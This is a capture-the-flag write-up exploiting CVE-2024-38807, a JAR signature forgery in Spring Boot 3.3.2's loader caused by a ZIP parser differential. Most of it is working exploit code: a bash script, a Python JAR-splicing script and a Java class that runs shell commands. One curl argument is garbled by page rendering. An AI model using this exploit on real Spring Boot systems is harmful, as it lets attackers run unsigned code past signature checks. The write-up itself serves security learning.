Tags: parser-differential misc zip jar
Rating:
It uses Spring Boot 3.3.2, so it’s [CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot’s Loader](https://spring.io/security/cve-2024-38807).
The vulnerability is that spring-boot-loader uses `JarInputStream` to verify the signatures but uses a custom `ZipContent` class to load the contents. They parse a ZIP file differently and may read different contents from a specially crafted JAR file. `JarInputStream` reads a JAR file from start to end, while `ZipContent` read the end of central directory record at the end first. We can construct a malicious JAR file by concatenating the bytes of two JAR files, and then adjust the offset fields in the central directory headers and the end of central directory record of the second JAR file. The signature verifier will read the first JAR file while the content loader will read the second.
You can also find [the commit that fixes this vulnerability](https://github.com/spring-projects/spring-boot/commit/0b24ee857189e139f48826bf2aef10ae8680c11b) along with the `mismatched.jar` test case, and then create the malicious JAR file based on `mismatched.jar`.
```bash
#!/bin/bash
set -euo pipefail
url="$1"
javac Tool.java
jar cf exp.jar Tool.class
rm -f keystore.jks
keytool -genkeypair \
-alias exp \
-dname 'CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown' \
-keyalg DSA \
-keysize 2048 \
-validity 1 \
-keystore keystore.jks \
-storepass 133337
jarsigner -keystore keystore.jks -storepass 133337 exp.jar exp
curl -O "$url/toolbox/greeting.jar"
jar xf greeting.jar
python exp.py
jar cf0 nested.jar inner.jar
curl -F [email protected] -F path=inner.jar -F input='/readflag give me the flag' "$url"/run
```
```python
with open('hello.jar', 'rb') as f:
signed = f.read()
with open('exp.jar', 'rb') as f:
exp = f.read()
shift = len(signed)
exp_list = list(exp)
eocd_start = exp.rfind(b'PK\x05\x06')
cd_offset = int.from_bytes(exp[eocd_start+16:eocd_start+20], 'little')
new_cd_offset = (cd_offset + shift).to_bytes(4, 'little')
exp_list[eocd_start+16:eocd_start+20] = new_cd_offset
cd_start = cd_offset
pos = cd_start
while pos < eocd_start:
if exp[pos:pos+4] == b'PK\x01\x02':
lfh_offset = int.from_bytes(exp[pos+42:pos+46], 'little')
new_lfh_offset = (lfh_offset + shift).to_bytes(4, 'little')
exp_list[pos+42:pos+46] = new_lfh_offset
pos += 46
else:
pos += 1
modified_exp = bytes(exp_list)
with open('inner.jar', 'wb') as f:
f.write(signed)
f.write(modified_exp)
```
```java
import java.io.ByteArrayOutputStream;
public class Tool {
public static String run(String cmd) {
try {
ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", cmd);
Process process = processBuilder.start();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(String.format("\n$ %s\n", cmd).getBytes());
process.getInputStream().transferTo(bos);
process.getErrorStream().transferTo(bos);
return bos.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
```